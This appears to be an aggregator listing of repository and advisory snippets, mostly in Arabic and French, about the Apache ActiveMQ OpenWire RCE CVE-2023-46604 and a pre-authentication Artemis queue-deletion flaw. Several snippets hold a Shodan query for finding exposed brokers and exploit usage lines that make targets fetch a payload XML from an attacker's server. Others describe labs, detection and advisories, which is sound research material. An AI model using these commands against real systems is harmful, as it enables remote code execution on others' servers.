CVE-2023-46604

CVE-2023-46604 استغلال لـ CVE-2023-46604 تساعد هذه الأداة في استغلال هذه الثغرة. استعلام Shodan للعثور على الهدف: product:"ActiveMQ" port:"61616" استخدام الأداة: لقراءة الأهداف من الملف: python3 exploit.py -f targets -c http://YourVPS/poc.xml --- هدف واحد: python3 exploit.py -ip IP -c...

CVE-2023-46604-ActiveMQ-RCE-pseudoshell

CVE-2023-46604 RCE Pseudoshell يستغل هذا السكربت CVE-2023-46604 Apache ActiveMQ لإنشاء قشرة شبه تفاعلية. تسمح الثغرة بتنفيذ الأوامر عن بعد نتيجة لإلغاء التسلسل غير الآمن في بروتوكول OpenWire. الوصف CVE-2023-46604 هي ثغرة في إلغاء التسلسل موجودة في بروتوكول OpenWire الخاص بـ Apache ActiveMQ. يمكن...

CVE-2023-46604-Apache-ActiveMQ-RCE-exp

Référence du projet Ce projet est une réécriture en python de l'exp du projet https://github.com/X1r0z/ActiveMQ-RCE . Utilisation python attack.py -u 192.168.163.129 -x http://192.168.163.133:10001/poc.xml -p 61616 Le paramètre -p est par défaut le port par défaut d'activeMQ. Le paramètre -x...

CVE-2023-46604

CVE-2023-46604 يحتوي هذا المستودع على سكربت استغلال exploit وملف XML لإثبات المفهوم PoC للثغرة الأمنية CVE-2023-46604 التي تؤثر على Apache ActiveMQ. تسمح هذه الثغرة بتنفيذ الأكواد عن بُعد بسبب ممارسات إلغاء التسلسل غير الآمنة داخل بروتوكول OpenWire. الوصف CVE-2023-46604 هي ثغرة في إلغاء التسلسل...

OpenWire-CVE-2023-46604-Investigation

تحقيق OpenWire-CVE-2023-46604 مختبر OpenWire خلال نوبة عملي كمحلل أمني من المستوى الثاني في مركز عمليات الأمن SOC، تلقيت تصعيدًا من محلل من المستوى الأول بخصوص خادم قابل للوصول عمومًا وقد لوحظ أنه يتواصل مع عدة عناوين IP خارجية مشبوهة. ردًا على ذلك، بدأت إجراءات الاستجابة للحوادث IR القياسية، وال...

CVE-2023-46604

Resumen Técnico del Ataque: CVE-2023-46604 يستغل السكربت ثغرة إلغاء التسلسل غير الآمن في Apache ActiveMQ CVE-2023-46604 لتحقيق تنفيذ التعليمات البرمجية عن بُعد على الخادم المستهدف. وصف عملية الاستغلال هدف الثغرة الأمنية: تكمن الثغرة في بروتوكول OpenWire الخاص بـ Apache ActiveMQ. تسمح بإلغاء تسلسل...

CVE-2023-46604-LAB

CVE-2023-46604 – Apache ActiveMQ RCE OpenWire Protocol يوثق هذا المستودع بيئة مختبر تُستخدم لفهم واكتشاف الثغرة CVE-2023-46604 التي تؤثر على Apache ActiveMQ. هدف هذا المشروع: فهم سلوك الاستغلال على مستوى البروتوكول التقاط حركة مرور OpenWire الخبيثة بناء قواعد اكتشاف باستخدام Suricata توثيق الخطوا...

ExploitScript-CVE-2023-46604

ExploitScript-CVE-2023-466064 إخلاء مسؤولية يحتوي هذا المستودع على كود إثبات المفهوم لثغرة CVE-2023-466064 وهو مخصص لأغراض تعليمية فقط. لا يؤيد المؤلفون أو المساهمون أي نشاط غير قانوني. المعلومات الواردة هنا لأغراض أكاديمية وبحوث أمنية واختبارية، ولحل جهاز Broker الحالي من HackTheBox. باستخدامك...

ActiveMQ-CVE-2023-46604

Validateur sûr CVE-2023-46604 ActiveMQ Un validateur non destructif, en un seul fichier, pour Apache ActiveMQ CVE-2023-46604. Il démarre son propre serveur de rappel HTTP, génère en mémoire un XML Spring spécifique à la cible, envoie le paquet OpenWire forgé, corrèle les rappels avec des jetons...

CVE-2023-46604

CVE-2023-46604 01. Apache ActiveMQ & OpenWire 1 نظرة عامة على Apache ActiveMQ وOpenWire يُعد ActiveMQ خادم رسائل مفتوح المصدر وأنماط تكامل Messaging and Integration Patterns، حيث يتضمن وسيطًا Broker مع عملاء يدعمون JMS، ويتيح الاتصال بين الأنظمة التي تستخدم لغات متعددة بالإضافة إلى جافا. كما يحاف...

artemis-openwire-protocol: AMQ Broker Artemis: pre-authentication arbitrary durable queue deletion via OpenWire RemoveSubscriptionInfo

An unauthenticated network attacker can delete arbitrary durable queues on any Apache Artemis broker with OpenWire protocol enabled default. The processRemoveSubscription method executes pre-authentication with no authorization check, and uses the internal destroyQueueSimpleString overload that...

artemis-openwire-protocol: AMQ Broker Artemis: pre-authentication arbitrary durable queue deletion via OpenWire RemoveSubscriptionInfo

An unauthenticated network attacker can delete arbitrary durable queues on any Apache Artemis broker with OpenWire protocol enabled default. The processRemoveSubscription method executes pre-authentication with no authorization check, and uses the internal destroyQueueSimpleString overload that...

Missing Authentication for Critical Function

Overview org.apache.artemis:artemis-jakarta-openwire-protocol is a To support OpenWire clients from an embedded broker deployed in a Jakarta environment e.g. Spring Boot 3 Affected versions of this package are vulnerable to Missing Authentication for Critical Function via the Openwire...

Missing Authentication for Critical Function

Overview Affected versions of this package are vulnerable to Missing Authentication for Critical Function via the Openwire RemoveSubscriptionInfo command in the protocol handling. An attacker can trigger unauthorized deletion of a queue by sending a crafted command before authentication and...

Missing Authentication for Critical Function

Overview org.apache.activemq:artemis-openwire-protocol is a package for activemq. Affected versions of this package are vulnerable to Missing Authentication for Critical Function via the Openwire RemoveSubscriptionInfo command in the protocol handling. An attacker can trigger unauthorized deletio...

Missing Authentication for Critical Function

Overview Affected versions of this package are vulnerable to Missing Authentication for Critical Function via the Openwire RemoveSubscriptionInfo command in the protocol handling. An attacker can trigger unauthorized deletion of a queue by sending a crafted command before authentication and...

CVE-2026-67593

A remote attacker can craft an Openwire RemoveSubscriptionInfo command to cause the deletion of a queue on the Artemis broker before the connection authentication and authorization stage or at any time thereafter. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ...

CVE-2026-67593 Apache Artemis, Apache Artemis, Apache ActiveMQ Artemis, Apache ActiveMQ Artemis: Pre-authentication Openwire protocol handling can result in queue deletion

A remote attacker can craft an Openwire RemoveSubscriptionInfo command to cause the deletion of a queue on the Artemis broker before the connection authentication and authorization stage or at any time thereafter. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ...

CVE-2026-67593

An unauthenticated network attacker can delete arbitrary durable queues on an Apache Artemis broker (or Apache ActiveMQ Artemis ) with the OpenWire protocol enabled. The vulnerability exists because the processRemoveSubscription() method executes pre-authentication without authorization checks, u...

EUVD-2026-75245

A remote attacker can craft an Openwire RemoveSubscriptionInfo command to cause the deletion of a queue on the Artemis broker before the connection authentication and authorization stage or at any time thereafter. This issue affects Apache Artemis: from 2.50.0 through 2.56.0; Apache ActiveMQ...